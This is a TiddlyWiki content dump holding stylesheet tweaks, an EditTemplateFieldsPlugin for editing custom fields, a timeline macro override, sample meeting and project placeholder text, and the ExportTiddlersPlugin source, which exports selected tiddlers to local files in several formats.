config.shadowTiddlers.EasyEditToolBarStyleSheet += "\n/*{{{*/\n.easyEditorToolBar .createlinkButton .button {color:blue;text-decoration:underline;}\n/*}}}*/";

config.shadowTiddlers.EasyEditDocStyleSheet += "\n/*{{{*/\na {color:#0044BB;font-weight:bold}\n/*}}}*/";

//}}}
/***
|''Name''|EditTemplateFieldsPlugin|
|''Version''|0.3.3|
|''Status''|beta|
|''Author''|Jon Robson|
|''Description''|Provides editing of custom fields|
|''Requires''||
|''Source''||
!Usage
put {{{<div macro="editFields"></div>}}} into your EditTemplate.
!Todo
Support newlines in input boxes.
!Code
***/
//{{{
(function($) {
var editFields = config.macros.editFields = {
	handler: function(place, macroName, params, wikifier, paramString, tiddler) {
		var options = {
			fields: params
		};
		this.createInterface(place, tiddler, options);
	},
	createInterface: function(place, tiddler, options) {
		var whitelisted = ["changecount"];
		var fieldContainer = $("<div class='tiddlerCustomFields' />").appendTo(place);
		var included = [];
		if(tiddler) {
			for(var i in tiddler.fields) {
				var val = tiddler.fields[i];
				if(i.indexOf("server.") !== 0 && i.indexOf("_") !== 0 && typeof(val) == "string" && !whitelisted.contains(i)) {
					this.addNewField(fieldContainer, i, val);
					included.push(i);
				}
			}
		}
		for(var j = 0; j < options.fields.length; j++) {
			var field = options.fields[j];
			if(!included.contains(field)) {
				this.addNewField(fieldContainer, field, "");
			}
		}
		$("<button />").text("add new field").click(function() {
			editFields.addNewField(fieldContainer, "", "");
		}).appendTo(place);
	},
	addNewField: function(place, name, value) {
		var container = $("<div />").appendTo(place);
		var type = value.indexOf("\n") > -1 ? "textarea" : "text";
		var valueInput = type == "text" ? $("<input type='text' />") : $("<textarea />");

		valueInput.attr("edit", name).val(value).appendTo(container);
		$("<button class='delete' />").text("delete").click(function(ev) {
			var answer = confirm("Are you sure you want to remove this field?");
			if(answer) {
				var attr = $(this).attr("field");
				$(this).parent().remove();
			}
		}).appendTo(container);
		var nameInput = $("<input class='fieldName' type='text' />").val(name).
			change(function(ev) {
				var el = $(ev.target);
				valueInput.attr("edit", el.val());
			}).prependTo(container);
	}
}
})(jQuery);
//}}}
<<emptyTrash>>
This meeting is to discuss the agenda for the next meeting.
<<<
''//Don't forget to click on any Agenda Item, or Attendee to open more Tiddlers.
Hover over the post-it-note icon to preview the Tiddler's content.//''
<<<
This is an example project showing how you'd track Progress, Team Members, Action Items, Meetings, and more. 
An overview of the project would generally be put here, and Status Updates can be added in the section at the bottom of this Tiddler.
<<<
''//Don't forget to click on any item in the lists below, to open more Tiddlers.
Hover over the post-it-note icon to preview the Tiddler's content.//''
<<<
// // Excludes any tiddlers from timeline that have been tagged with ''excludeTimeline''
// // Better than ''excludeLists'' because you can still show tiddlers in Tags, etc.
/*{{{*/
config.macros.timeline.handler = function(place,macroName,params)
{
	var field = params[0] ? params[0] : "modified";
	var tiddlers = store.reverseLookup("tags","excludeTimeline",false,field);
	var lastDay = "";
	var last = params[1] ? tiddlers.length-Math.min(tiddlers.length,parseInt(params[1])) : 0;
	for(var t=tiddlers.length-1; t>=last; t--)
		{
		var tiddler = tiddlers[t];
		var theDay = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,8);
		if(theDay != lastDay)
			{
			var theDateList = document.createElement("ul");
			place.appendChild(theDateList);
			createTiddlyElement(theDateList,"li",null,"listTitle",tiddler[field].formatString(this.dateFormat));
			lastDay = theDay;
			}
		var theDateListItem = createTiddlyElement(theDateList,"li",null,"listLink");
		theDateListItem.appendChild(createTiddlyLink(place,tiddler.title,true));
		}
}
/*}}}*/
/***
|Name|ExportTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#ExportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ExportTiddlersPluginInfo|
|Version|2.9.6|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|interactively select/export tiddlers to a separate file|
!!!!!Documentation
>see [[ExportTiddlersPluginInfo]]
!!!!!Inline control panel (live):
><<exportTiddlers inline>>
!!!!!Revisions
<<<
2011.02.14 2.9.6 fix OSX error: use picker.file.path
2010.02.25 2.9.5 added merge checkbox option and improved 'merge' status message
|please see [[ExportTiddlersPluginInfo]] for additional revision details|
2005.10.09 0.0.0 development started
<<<
!!!!!Code
***/
//{{{
// version
version.extensions.ExportTiddlersPlugin= {major: 2, minor: 9, revision: 6, date: new Date(2011,2,14)};

// default shadow definition
config.shadowTiddlers.ExportTiddlers='<<exportTiddlers inline>>';

// add 'export' backstage task (following built-in import task)
if (config.tasks) { // TW2.2 or above
	config.tasks.exportTask = {
		text:'export',
		tooltip:'Export selected tiddlers to another file',
		content:'<<exportTiddlers inline>>'
	}
	config.backstageTasks.splice(config.backstageTasks.indexOf('importTask')+1,0,'exportTask');
}

config.macros.exportTiddlers = {
	$: function(id) { return document.getElementById(id); }, // abbreviation
	label: 'export tiddlers',
	prompt: 'Copy selected tiddlers to an export document',
	okmsg: '%0 tiddler%1 written to %2',
	failmsg: 'An error occurred while creating %1',
	overwriteprompt: '%0\ncontains %1 tiddler%2 that will be discarded or replaced',
	mergestatus: '%0 tiddler%1 added, %2 tiddler%3 updated, %4 tiddler%5 unchanged',
	statusmsg: '%0 tiddler%1 - %2 selected for export',
	newdefault: 'export.html',
	datetimefmt: '0MM/0DD/YYYY 0hh:0mm:0ss',  // for 'filter date/time' edit fields
	type_TW: "tw", type_PS: "ps", type_TX: "tx", type_CS: "cs", type_NF: "nf", // file type tokens
	type_map: { // maps type param to token values
		tiddlywiki:"tw", tw:"tw", wiki: "tw",
		purestore: "ps", ps:"ps", store:"ps",
		plaintext: "tx", tx:"tx", text: "tx",
		comma:     "cs", cs:"cs", csv:  "cs",
		newsfeed:  "nf", nf:"nf", xml:  "nf", rss:"nf"
	},
	handler: function(place,macroName,params) {
		if (params[0]!='inline')
			{ createTiddlyButton(place,this.label,this.prompt,this.togglePanel); return; }
		var panel=this.createPanel(place);
		panel.style.position='static';
		panel.style.display='block';
	},
	createPanel: function(place) {
		var panel=this.$('exportPanel');
		if (panel) { panel.parentNode.removeChild(panel); }
		setStylesheet(store.getTiddlerText('ExportTiddlersPlugin##css',''),'exportTiddlers');
		panel=createTiddlyElement(place,'span','exportPanel',null,null)
		panel.innerHTML=store.getTiddlerText('ExportTiddlersPlugin##html','');
		this.initFilter();
		this.refreshList(0);
		var fn=this.$('exportFilename');
		if (window.location.protocol=='file:' && !fn.value.length) {
			// get new target path/filename
			var newPath=getLocalPath(window.location.href);
			var slashpos=newPath.lastIndexOf('/'); if (slashpos==-1) slashpos=newPath.lastIndexOf('\\'); 
			if (slashpos!=-1) newPath=newPath.substr(0,slashpos+1); // trim filename
			fn.value=newPath+this.newdefault;
		}
		return panel;
	},
	togglePanel: function(e) { var e=e||window.event;
		var cme=config.macros.exportTiddlers; // abbrev
		var parent=resolveTarget(e).parentNode;
		var panel=cme.$('exportPanel');
		if (panel==undefined || panel.parentNode!=parent)
			panel=cme.createPanel(parent);
		var isOpen=panel.style.display=='block';
		if(config.options.chkAnimate)
			anim.startAnimating(new Slider(panel,!isOpen,e.shiftKey || e.altKey,'none'));
		else
			panel.style.display=isOpen?'none':'block' ;
		if (panel.style.display!='none') {
			cme.refreshList(0);
			cme.$('exportFilename').focus(); 
			cme.$('exportFilename').select();
		}
		e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); return(false);
	},
	process: function(which) { // process panel control interactions
		var theList=this.$('exportList'); if (!theList) return false;
		var count = 0;
		var total = store.getTiddlers('title').length;
		switch (which.id) {
			case 'exportFilter':
				count=this.filterExportList();
				var panel=this.$('exportFilterPanel');
				if (count==-1) { panel.style.display='block'; break; }
				this.$('exportStart').disabled=(count==0);
				this.$('exportDelete').disabled=(count==0);
				this.displayStatus(count,total);
				if (count==0) { alert('No tiddlers were selected'); panel.style.display='block'; }
				break;
			case 'exportStart':
				this.go();
				break;
			case 'exportDelete':
				this.deleteTiddlers();
				break;
			case 'exportHideFilter':
			case 'exportToggleFilter':
				var panel=this.$('exportFilterPanel')
				panel.style.display=(panel.style.display=='block')?'none':'block';
				break;
			case 'exportSelectChanges':
				var lastmod=new Date(document.lastModified);
				for (var t = 0; t < theList.options.length; t++) {
					if (theList.options[t].value=='') continue;
					var tiddler=store.getTiddler(theList.options[t].value); if (!tiddler) continue;
					theList.options[t].selected=(tiddler.modified>lastmod);
					count += (tiddler.modified>lastmod)?1:0;
				}
				this.$('exportStart').disabled=(count==0);
				this.$('exportDelete').disabled=(count==0);
				this.displayStatus(count,total);
				if (count==0) alert('There are no unsaved changes');
				break;
			case 'exportSelectAll':
				for (var t = 0; t < theList.options.length; t++) {
					if (theList.options[t].value=='') continue;
					theList.options[t].selected=true;
					count += 1;
				}
				this.$('exportStart').disabled=(count==0);
				this.$('exportDelete').disabled=(count==0);
				this.displayStatus(count,count);
				break;
			case 'exportSelectOpened':
				for (var t=0; t<theList.options.length; t++) theList.options[t].selected=false;
				var tiddlerDisplay=this.$('tiddlerDisplay');
				for (var t=0; t<tiddlerDisplay.childNodes.length;t++) {
					var tiddler=tiddlerDisplay.childNodes[t].id.substr(7);
					for (var i=0; i<theList.options.length; i++) {
						if (theList.options[i].value!=tiddler) continue;
						theList.options[i].selected=true; count++; break;
					}
				}
				this.$('exportStart').disabled=(count==0);
				this.$('exportDelete').disabled=(count==0);
				this.displayStatus(count,total);
				if (count==0) alert('There are no tiddlers currently opened');
				break;
			case 'exportSelectRelated':
				// recursively build list of related tiddlers
				function getRelatedTiddlers(tid,tids) {
					var t=store.getTiddler(tid); if (!t || tids.contains(tid)) return tids;
					tids.push(t.title);
					if (!t.linksUpdated) t.changed();
					for (var i=0; i<t.links.length; i++)
						if (t.links[i]!=tid) tids=getRelatedTiddlers(t.links[i],tids);
					return tids;
				}
				// for all currently selected tiddlers, gather up the related tiddlers (including self) and select them as well
				var tids=[];
				for (var i=0; i<theList.options.length; i++)
					if (theList.options[i].selected) tids=getRelatedTiddlers(theList.options[i].value,tids);
				// select related tiddlers (includes original selected tiddlers)
				for (var i=0; i<theList.options.length; i++)
					theList.options[i].selected=tids.contains(theList.options[i].value);
				this.displayStatus(tids.length,total);
				break;
			case 'exportListSmaller':	// decrease current listbox size
				var min=5;
				theList.size-=(theList.size>min)?1:0;
				break;
			case 'exportListLarger':	// increase current listbox size
				var max=(theList.options.length>25)?theList.options.length:25;
				theList.size+=(theList.size<max)?1:0;
				break;
			case 'exportClose':
				this.$('exportPanel').style.display='none';
				break;
		}
		return false;
	},
	displayStatus: function(count,total) {
		var txt=this.statusmsg.format([total,total!=1?'s':'',!count?'none':count==total?'all':count]);
		clearMessage();	displayMessage(txt);
		return txt;
	},
	refreshList: function(selectedIndex) {
		var theList = this.$('exportList'); if (!theList) return;
		// get the sort order
		var sort;
		if (!selectedIndex)   selectedIndex=0;
		if (selectedIndex==0) sort='modified';
		if (selectedIndex==1) sort='title';
		if (selectedIndex==2) sort='modified';
		if (selectedIndex==3) sort='modifier';
		if (selectedIndex==4) sort='tags';

		// unselect headings and count number of tiddlers actually selected
		var count=0;
		for (var t=5; t < theList.options.length; t++) {
			if (!theList.options[t].selected) continue;
			if (theList.options[t].value!='')
				count++;
			else { // if heading is selected, deselect it, and then select and count all in section
				theList.options[t].selected=false;
				for ( t++; t<theList.options.length && theList.options[t].value!=''; t++) {
					theList.options[t].selected=true;
					count++;
				}
			}
		}

		// disable 'export' and 'delete' buttons if no tiddlers selected
		this.$('exportStart').disabled=(count==0);
		this.$('exportDelete').disabled=(count==0);

		// show selection count
		var tiddlers = store.getTiddlers('title');
		if (theList.options.length) this.displayStatus(count,tiddlers.length);

		// if a [command] item, reload list... otherwise, no further refresh needed
		if (selectedIndex>4) return;

		// clear current list contents
		while (theList.length > 0) { theList.options[0] = null; }
		// add heading and control items to list
		var i=0;
		var indent=String.fromCharCode(160)+String.fromCharCode(160);
		theList.options[i++]=
			new Option(tiddlers.length+' tiddlers in document', '',false,false);
		theList.options[i++]=
			new Option(((sort=='title'   )?'>':indent)+' [by title]', '',false,false);
		theList.options[i++]=
			new Option(((sort=='modified')?'>':indent)+' [by date]', '',false,false);
		theList.options[i++]=
			new Option(((sort=='modifier')?'>':indent)+' [by author]', '',false,false);
		theList.options[i++]=
			new Option(((sort=='tags'    )?'>':indent)+' [by tags]', '',false,false);

		// output the tiddler list
		switch(sort) {
			case 'title':
				for(var t = 0; t < tiddlers.length; t++)
					theList.options[i++] = new Option(tiddlers[t].title,tiddlers[t].title,false,false);
				break;
			case 'modifier':
			case 'modified':
				var tiddlers = store.getTiddlers(sort);
				// sort descending for newest date first
				tiddlers.sort(function (a,b) {if(a[sort] == b[sort]) return(0); else return (a[sort] > b[sort]) ? -1 : +1; });
				var lastSection = '';
				for(var t = 0; t < tiddlers.length; t++) {
					var tiddler = tiddlers[t];
					var theSection = '';
					if (sort=='modified') theSection=tiddler.modified.toLocaleDateString();
					if (sort=='modifier') theSection=tiddler.modifier;
					if (theSection != lastSection) {
						theList.options[i++] = new Option(theSection,'',false,false);
						lastSection = theSection;
					}
					theList.options[i++] = new Option(indent+indent+tiddler.title,tiddler.title,false,false);
				}
				break;
			case 'tags':
				var theTitles = {}; // all tiddler titles, hash indexed by tag value
				var theTags = new Array();
				for(var t=0; t<tiddlers.length; t++) {
					var title=tiddlers[t].title;
					var tags=tiddlers[t].tags;
					if (!tags || !tags.length) {
						if (theTitles['untagged']==undefined) { theTags.push('untagged'); theTitles['untagged']=new Array(); }
						theTitles['untagged'].push(title);
					}
					else for(var s=0; s<tags.length; s++) {
						if (theTitles[tags[s]]==undefined) { theTags.push(tags[s]); theTitles[tags[s]]=new Array(); }
						theTitles[tags[s]].push(title);
					}
				}
				theTags.sort();
				for(var tagindex=0; tagindex<theTags.length; tagindex++) {
					var theTag=theTags[tagindex];
					theList.options[i++]=new Option(theTag,'',false,false);
					for(var t=0; t<theTitles[theTag].length; t++)
						theList.options[i++]=new Option(indent+indent+theTitles[theTag][t],theTitles[theTag][t],false,false);
				}
				break;
			}
		theList.selectedIndex=selectedIndex; // select current control item
		this.$('exportStart').disabled=true;
		this.$('exportDelete').disabled=true;
		this.displayStatus(0,tiddlers.length);
	},
	askForFilename: function(here) {
		var msg=here.title; // use tooltip as dialog box message
		var path=getLocalPath(document.location.href);
		var slashpos=path.lastIndexOf('/'); if (slashpos==-1) slashpos=path.lastIndexOf('\\'); 
		if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash
		var filetype=this.$('exportFormat').value.toLowerCase();
		var defext='html';
		if (filetype==this.type_TX) defext='txt';
		if (filetype==this.type_CS) defext='csv';
		if (filetype==this.type_NF) defext='xml';
		var file=this.newdefault.replace(/html$/,defext);
		var result='';
		if(window.Components) { // moz
			try {
				netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
				var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
				var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
				picker.init(window, msg, nsIFilePicker.modeSave);
				var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
				thispath.initWithPath(path);
				picker.displayDirectory=thispath;
				picker.defaultExtension=defext;
				picker.defaultString=file;
				picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
				if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.path;
			}
			catch(e) { alert('error during local file access: '+e.toString()) }
		}
		else { // IE
			try { // XPSP2 IE only
				var s = new ActiveXObject('UserAccounts.CommonDialog');
				s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|XML files|*.xml|';
				s.FilterIndex=defext=='txt'?2:'html'?3:'xml'?4:1;
				s.InitialDir=path;
				s.FileName=file;
				if (s.showOpen()) var result=s.FileName;
			}
			catch(e) {  // fallback
				var result=prompt(msg,path+file);
			}
		}
		return result;
	},
	initFilter: function() {
		this.$('exportFilterStart').checked=false; this.$('exportStartDate').value='';
		this.$('exportFilterEnd').checked=false;  this.$('exportEndDate').value='';
		this.$('exportFilterTags').checked=false; this.$('exportTags').value='';
		this.$('exportFilterText').checked=false; this.$('exportText').value='';
		this.showFilterFields();
	},
	showFilterFields: function(which) {
		var show=this.$('exportFilterStart').checked;
		this.$('exportFilterStartBy').style.display=show?'block':'none';
		this.$('exportStartDate').style.display=show?'block':'none';
		var val=this.$('exportFilterStartBy').value;
		this.$('exportStartDate').value
			=this.getFilterDate(val,'exportStartDate').formatString(this.datetimefmt);
		if (which && (which.id=='exportFilterStartBy') && (val=='other'))
			this.$('exportStartDate').focus();

		var show=this.$('exportFilterEnd').checked;
		this.$('exportFilterEndBy').style.display=show?'block':'none';
		this.$('exportEndDate').style.display=show?'block':'none';
		var val=this.$('exportFilterEndBy').value;
		this.$('exportEndDate').value
			=this.getFilterDate(val,'exportEndDate').formatString(this.datetimefmt);
		 if (which && (which.id=='exportFilterEndBy') && (val=='other'))
			this.$('exportEndDate').focus();

		var show=this.$('exportFilterTags').checked;
		this.$('exportTags').style.display=show?'block':'none';

		var show=this.$('exportFilterText').checked;
		this.$('exportText').style.display=show?'block':'none';
	},
	getFilterDate: function(val,id) {
		var result=0;
		switch (val) {
			case 'file':
				result=new Date(document.lastModified);
				break;
			case 'other':
				result=new Date(this.$(id).value);
				break;
			default: // today=0, yesterday=1, one week=7, two weeks=14, a month=31
				var now=new Date(); var tz=now.getTimezoneOffset()*60000; now-=tz;
				var oneday=86400000;
				if (id=='exportStartDate')
					result=new Date((Math.floor(now/oneday)-val)*oneday+tz);
				else
					result=new Date((Math.floor(now/oneday)-val+1)*oneday+tz-1);
				break;
		}
		return result;
	},
	filterExportList: function() {
		var theList  = this.$('exportList'); if (!theList) return -1;
		var filterStart=this.$('exportFilterStart').checked;
		var val=this.$('exportFilterStartBy').value;
		var startDate=config.macros.exportTiddlers.getFilterDate(val,'exportStartDate');
		var filterEnd=this.$('exportFilterEnd').checked;
		var val=this.$('exportFilterEndBy').value;
		var endDate=config.macros.exportTiddlers.getFilterDate(val,'exportEndDate');
		var filterTags=this.$('exportFilterTags').checked;
		var tags=this.$('exportTags').value;
		var filterText=this.$('exportFilterText').checked;
		var text=this.$('exportText').value;
		if (!(filterStart||filterEnd||filterTags||filterText)) {
			alert('Please set the selection filter');
			this.$('exportFilterPanel').style.display='block';
			return -1;
		}
		if (filterStart&&filterEnd&&(startDate>endDate)) {
			var msg='starting date/time:\n'
			msg+=startDate.toLocaleString()+'\n';
			msg+='is later than ending date/time:\n'
			msg+=endDate.toLocaleString()
			alert(msg);
			return -1;
		}
		// if filter by tags, get list of matching tiddlers
		// use getMatchingTiddlers() (if MatchTagsPlugin is installed) for full boolean expressions
		// otherwise use getTaggedTiddlers() for simple tag matching
		if (filterTags) {
			var fn=store.getMatchingTiddlers||store.getTaggedTiddlers;
			var t=fn.apply(store,[tags]);
			var tagged=[];
			for (var i=0; i<t.length; i++) tagged.push(t[i].title);
		}
		// scan list and select tiddlers that match all applicable criteria
		var total=0;
		var count=0;
		for (var i=0; i<theList.options.length; i++) {
			// get item, skip non-tiddler list items (section headings)
			var opt=theList.options[i]; if (opt.value=='') continue;
			// get tiddler, skip missing tiddlers (this should NOT happen)
			var tiddler=store.getTiddler(opt.value); if (!tiddler) continue; 
			var sel=true;
			if ( (filterStart && tiddler.modified<startDate)
			|| (filterEnd && tiddler.modified>endDate)
			|| (filterTags && !tagged.contains(tiddler.title))
			|| (filterText && (tiddler.text.indexOf(text)==-1) && (tiddler.title.indexOf(text)==-1)))
				sel=false;
			opt.selected=sel;
			count+=sel?1:0;
			total++;
		}
		return count;
	},
	deleteTiddlers: function() {
		var list=this.$('exportList'); if (!list) return;
		var tids=[];
		for (i=0;i<list.length;i++)
			if (list.options[i].selected && list.options[i].value.length)
				tids.push(list.options[i].value);
		if (!confirm('Are you sure you want to delete these tiddlers:\n\n'+tids.join(', '))) return;
		store.suspendNotifications();
		for (t=0;t<tids.length;t++) {
			var tid=store.getTiddler(tids[t]); if (!tid) continue;
			var msg="'"+tid.title+"' is tagged with 'systemConfig'.\n\n";
			msg+='Removing this tiddler may cause unexpected results.  Are you sure?'
			if (tid.tags.contains('systemConfig') && !confirm(msg)) continue;
			store.removeTiddler(tid.title);
			story.closeTiddler(tid.title);
		}
		store.resumeNotifications();
		alert(tids.length+' tiddlers deleted');
		this.refreshList(0); // reload listbox
		store.notifyAll(); // update page display
	},
	go: function() {
		if (window.location.protocol!='file:') // make sure we are local
			{ displayMessage(config.messages.notFileUrlError); return; }
		// get selected tidders, target filename, target type, and notes
		var list=this.$('exportList'); if (!list) return;
		var tids=[]; for (var i=0; i<list.options.length; i++) {
			var opt=list.options[i]; if (!opt.selected||!opt.value.length) continue;
			var tid=store.getTiddler(opt.value); if (!tid) continue;
			tids.push(tid);
		}
		if (!tids.length) return; // no tiddlers selected
		var target=this.$('exportFilename').value.trim();
		if (!target.length) {
			displayMessage('A local target path/filename is required',target);
			return;
		}
		var merge=this.$('exportMerge').checked;
		var filetype=this.$('exportFormat').value.toLowerCase();
		var notes=this.$('exportNotes').value.replace(/\n/g,'<br>');
		var total={val:0};
		var out=this.assembleFile(target,filetype,tids,notes,total,merge);
		if (!total.val) return; // cancelled file overwrite
		var link='file:///'+target.replace(/\\/g,'/');
		var samefile=link==decodeURIComponent(window.location.href);
		var p=getLocalPath(document.location.href);
		if (samefile) {
			if (config.options.chkSaveBackups) { var t=loadOriginal(p);if(t)saveBackup(p,t); }
			if (config.options.chkGenerateAnRssFeed && saveRss instanceof Function) saveRss(p);
		}
		var ok=saveFile(target,out);
		displayMessage((ok?this.okmsg:this.failmsg).format([total.val,total.val!=1?'s':'',target]),link);
	},
	plainTextHeader:
		 'Source:\n\t%0\n'
		+'Title:\n\t%1\n'
		+'Subtitle:\n\t%2\n'
		+'Created:\n\t%3 by %4\n'
		+'Application:\n\tTiddlyWiki %5 / %6 %7\n\n',
	plainTextTiddler:
		'- - - - - - - - - - - - - - -\n'
		+'|     title: %0\n'
		+'|   created: %1\n'
		+'|  modified: %2\n'
		+'| edited by: %3\n'
		+'|      tags: %4\n'
		+'- - - - - - - - - - - - - - -\n'
		+'%5\n',
	plainTextFooter:
		'',
	newsFeedHeader:
		 '<'+'?xml version="1.0"?'+'>\n'
		+'<rss version="2.0">\n'
		+'<channel>\n'
		+'<title>%1</title>\n'
		+'<link>%0</link>\n'
		+'<description>%2</description>\n'
		+'<language>en-us</language>\n'
		+'<copyright>Copyright '+(new Date().getFullYear())+' %4</copyright>\n'
		+'<pubDate>%3</pubDate>\n'
		+'<lastBuildDate>%3</lastBuildDate>\n'
		+'<docs>http://blogs.law.harvard.edu/tech/rss</docs>\n'
		+'<generator>TiddlyWiki %5 / %6 %7</generator>\n',
	newsFeedTiddler:
		'\n%0\n',
	newsFeedFooter:
		'</channel></rss>',
	pureStoreHeader:
		 '<html><body>'
		+'<style type="text/css">'
		+'	#storeArea {display:block;margin:1em;}'
		+'	#storeArea div {padding:0.5em;margin:1em;border:2px solid black;height:10em;overflow:auto;}'
		+'	#pureStoreHeading {width:100%;text-align:left;background-color:#eeeeee;padding:1em;}'
		+'</style>'
		+'<div id="pureStoreHeading">'
		+'	TiddlyWiki "PureStore" export file<br>'
		+'	Source'+': <b>%0</b><br>'
		+'	Title: <b>%1</b><br>'
		+'	Subtitle: <b>%2</b><br>'
		+'	Created: <b>%3</b> by <b>%4</b><br>'
		+'	TiddlyWiki %5 / %6 %7<br>'
		+'	Notes:<hr><pre>%8</pre>'
		+'</div>'
		+'<div id="storeArea">',
	pureStoreTiddler:
		'%0\n%1',
	pureStoreFooter:
		'</div><!--POST-BODY-START-->\n<!--POST-BODY-END--></body></html>',
	assembleFile: function(target,filetype,tids,notes,total,merge) {
		var revised='';
		var now = new Date().toLocaleString();
		var src=convertUnicodeToUTF8(document.location.href);
		var title = convertUnicodeToUTF8(wikifyPlain('SiteTitle').htmlEncode());
		var subtitle = convertUnicodeToUTF8(wikifyPlain('SiteSubtitle').htmlEncode());
		var user = convertUnicodeToUTF8(config.options.txtUserName.htmlEncode());
		var twver = version.major+'.'+version.minor+'.'+version.revision;
		var v=version.extensions.ExportTiddlersPlugin; var pver = v.major+'.'+v.minor+'.'+v.revision;
		var headerargs=[src,title,subtitle,now,user,twver,'ExportTiddlersPlugin',pver,notes];
		switch (filetype) {
			case this.type_TX: // plain text
				var header=this.plainTextHeader.format(headerargs);
				var footer=this.plainTextFooter;
				break;
			case this.type_CS: // comma-separated
				var fields={};
				for (var i=0; i<tids.length; i++) for (var f in tids[i].fields) fields[f]=f;
				var names=['title','created','modified','modifier','tags','text'];
				for (var f in fields) names.push(f);
				var header=names.join(',')+'\n';
				var footer='';
				break;
			case this.type_NF: // news feed (XML)
				headerargs[0]=store.getTiddlerText('SiteUrl','');
				var header=this.newsFeedHeader.format(headerargs);
				var footer=this.newsFeedFooter;
				break;
			case this.type_PS: // PureStore (no code)
				var header=this.pureStoreHeader.format(headerargs);
				var footer=this.pureStoreFooter;
				break;
			case this.type_TW: // full TiddlyWiki
			default:
				var currPath=getLocalPath(window.location.href);
				var original=loadFile(currPath);
				if (!original) { displayMessage(config.messages.cantSaveError); return; }
				var posDiv = locateStoreArea(original);
				if (!posDiv) { displayMessage(config.messages.invalidFileError.format([currPath])); return; }
				var header = original.substr(0,posDiv[0]+startSaveArea.length)+'\n';
				var footer = '\n'+original.substr(posDiv[1]);
				break;
		}
		var out=this.getData(target,filetype,tids,fields,merge);
		var revised = header+convertUnicodeToUTF8(out.join('\n'))+footer;
		// if full TW, insert page title and language attr, and reset all MARKUP blocks...
		if (filetype==this.type_TW) {
			var newSiteTitle=convertUnicodeToUTF8(getPageTitle()).htmlEncode();
			revised=revised.replaceChunk('<title'+'>','</title'+'>',' ' + newSiteTitle + ' ');
			revised=updateLanguageAttribute(revised);
			var titles=[]; for (var i=0; i<tids.length; i++) titles.push(tids[i].title);
			revised=updateMarkupBlock(revised,'PRE-HEAD',
				titles.contains('MarkupPreHead')? 'MarkupPreHead' :null);
			revised=updateMarkupBlock(revised,'POST-HEAD',
				titles.contains('MarkupPostHead')?'MarkupPostHead':null);
			revised=updateMarkupBlock(revised,'PRE-BODY',
				titles.contains('MarkupPreBody')? 'MarkupPreBody' :null);
			revised=updateMarkupBlock(revised,'POST-SCRIPT',
				titles.contains('MarkupPostBody')?'MarkupPostBody':null);
		}
		total.val=out.length;
		return revised;
	},
	getData: function(target,filetype,tids,fields,merge) {
		// output selected tiddlers and gather list of titles (for use with merge)
		var out=[]; var titles=[];
		var url=store.getTiddlerText('SiteUrl','');
		for (var i=0; i<tids.length; i++) {
			out.push(this.formatItem(store,filetype,tids[i],url,fields));
			titles.push(tids[i].title);
		}
		// if TW or PureStore format, ask to merge with existing tiddlers (if any)
		if (filetype==this.type_TW || filetype==this.type_PS) {
			var txt=loadFile(target);
			if (txt && txt.length) {
				var remoteStore=new TiddlyWiki();
				if (version.major+version.minor*.1+version.revision*.01<2.52) txt=convertUTF8ToUnicode(txt);
				if (remoteStore.importTiddlyWiki(txt)) {
					var existing=remoteStore.getTiddlers('title');
					var msg=this.overwriteprompt.format([target,existing.length,existing.length!=1?'s':'']);
					if (merge) {
						var added=titles.length; var updated=0; var kept=0;
						for (var i=0; i<existing.length; i++)
							if (titles.contains(existing[i].title)) {
								added--; updated++;
							} else {
								out.push(this.formatItem(remoteStore,filetype,existing[i],url));
								kept++;
							}
						displayMessage(this.mergestatus.format(
							[added,added!=1?'s':'',updated,updated!=1?'s':'',kept,kept!=1?'s':'',]));
					}
					else if (!confirm(msg)) out=[]; // empty the list = don't write file
				}
			}
		}
		return out;
	},
	formatItem: function(s,f,t,u,fields) {
		if (f==this.type_TW)
			var r=s.getSaver().externalizeTiddler(s,t);
		if (f==this.type_PS)
			var r=this.pureStoreTiddler.format([t.title,s.getSaver().externalizeTiddler(s,t)]);
		if (f==this.type_NF)
			var r=this.newsFeedTiddler.format([t.saveToRss(u)]);
		if (f==this.type_TX)
			var r=this.plainTextTiddler.format([t.title, t.created.toLocaleString(), t.modified.toLocaleString(),
				t.modifier, String.encodeTiddlyLinkList(t.tags), t.text]);
		if (f==this.type_CS) {
			function toCSV(t) { return '"'+t.replace(/"/g,'""')+'"'; } // always encode CSV
			var out=[ toCSV(t.title), toCSV(t.created.toLocaleString()), toCSV(t.modified.toLocaleString()),
				toCSV(t.modifier), toCSV(String.encodeTiddlyLinkList(t.tags)), toCSV(t.text) ];
			for (var f in fields) out.push(toCSV(t.fields[f]||''));
			var r=out.join(',');
		}
		return r||"";
	}
}
//}}}
/***
!!!Control panel CSS
//{{{
!css
#exportPanel {
	display: none; position:absolute; z-index:12; width:35em; right:105%; top:6em;
	background-color: #eee; color:#000; font-size: 8pt; line-height:110%;
	border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;
	padding: 0.5em; margin:0em; -moz-border-radius:1em;-webkit-border-radius:1em;
}
#exportPanel a, #exportPanel td a { color:#009; display:inline; margin:0px; padding:1px; }
#exportPanel table {
	width:100%; border:0px; padding:0px; margin:0px;
	font-size:8pt; line-height:110%; background:transparent;
}
#exportPanel tr { border:0px;padding:0px;margin:0px; background:transparent; }
#exportPanel td { color:#000; border:0px;padding:0px;margin:0px; background:transparent; }
#exportPanel select { width:98%;margin:0px;font-size:8pt;line-height:110%;}
#exportPanel input  { width:98%;padding:0px;margin:0px;font-size:8pt;line-height:110%; }
#exportPanel textarea  { width:98%;padding:0px;margin:0px;overflow:auto;font-size:8pt; }
#exportPanel .box {
	border:1px solid black; padding:3px; margin-bottom:5px;
	background:#f8f8f8; -moz-border-radius:5px;-webkit-border-radius:5px; }
